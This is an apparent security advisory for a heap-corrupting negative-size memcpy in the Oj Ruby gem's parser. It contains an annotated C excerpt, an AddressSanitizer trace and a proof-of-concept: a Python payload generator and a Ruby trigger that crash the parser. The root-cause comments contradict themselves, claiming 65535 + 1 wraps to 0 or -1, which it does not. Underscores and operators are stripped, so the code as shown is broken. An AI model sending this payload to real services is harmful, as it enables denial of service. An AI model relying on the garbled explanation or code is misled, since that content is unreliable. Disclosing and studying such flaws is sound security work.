CVE-2026-54900: Oj: Negative-Size memcpy in Oj::Parser create_id Attribute Handling

Summary

Oj::Parser#parse in usual mode with createid enabled is vulnerable to heap corruption via a negative-size memcpy. When a JSON object key is exactly 65,535 bytes long, an integer truncation in formattr (usual.c:63) converts the length to -1 before passing it to memcpy. This causes memcpy to copy SIZEMAX bytes (interpreted as a huge sizet), corrupting heap memory and crashing the process.

Version

- Software: oj gem - Affected: all versions with ext/oj/usual.c - Latest tested: 3.17.1 (confirmed present)

Details

ext/oj/usual.c, formattr:

c // usual.c:55–64 static ID formattr(const char str, sizet slen) { char buf[4096]; // ... int blen = (int)slen + 1; // ← truncates: 65535 + 1 = 65536 → wraps to 0 // or: 65535 cast to int = 65535 (fits), // but blen = 65536 → INT overflow on +1 if slen=INTMAX // ... memcpy(buf, "@", 1); memcpy(buf + 1, str, (sizet)blen); // ← sizet(-1) = SIZEMAX }

The cache (cacheintern) uses a fixed 65,536-byte slab. When slen = 65535, the arithmetic wraps and memcpy is called with (sizet)-1.

ASAN report: ==80452==ERROR: AddressSanitizer: negative-size-param: (size=-1) #0 memcpy #1 formattr /ext/oj/usual.c:63 #2 cacheintern /ext/oj/cache.c:326 #3 getattrid /ext/oj/usual.c:186 #4 closeobjectcreate /ext/oj/usual.c:374 #5 parse /ext/oj/parser.c:693 #6 parserparse /ext/oj/parser.c:1408 0x531000528800 is located 0 bytes inside of 65536-byte region [0x531000528800, 0x531000538800)

Reproduce

Generate the payload:

python key = 'A' 65535 with open('poc.json', 'w') as f: f.write('{"jsonclass":"Oj::Bag","' + key + '":1}')

Trigger:

ruby require 'oj' Oj::Parser.new(:usual, createid: 'jsonclass').parse(STDIN.read)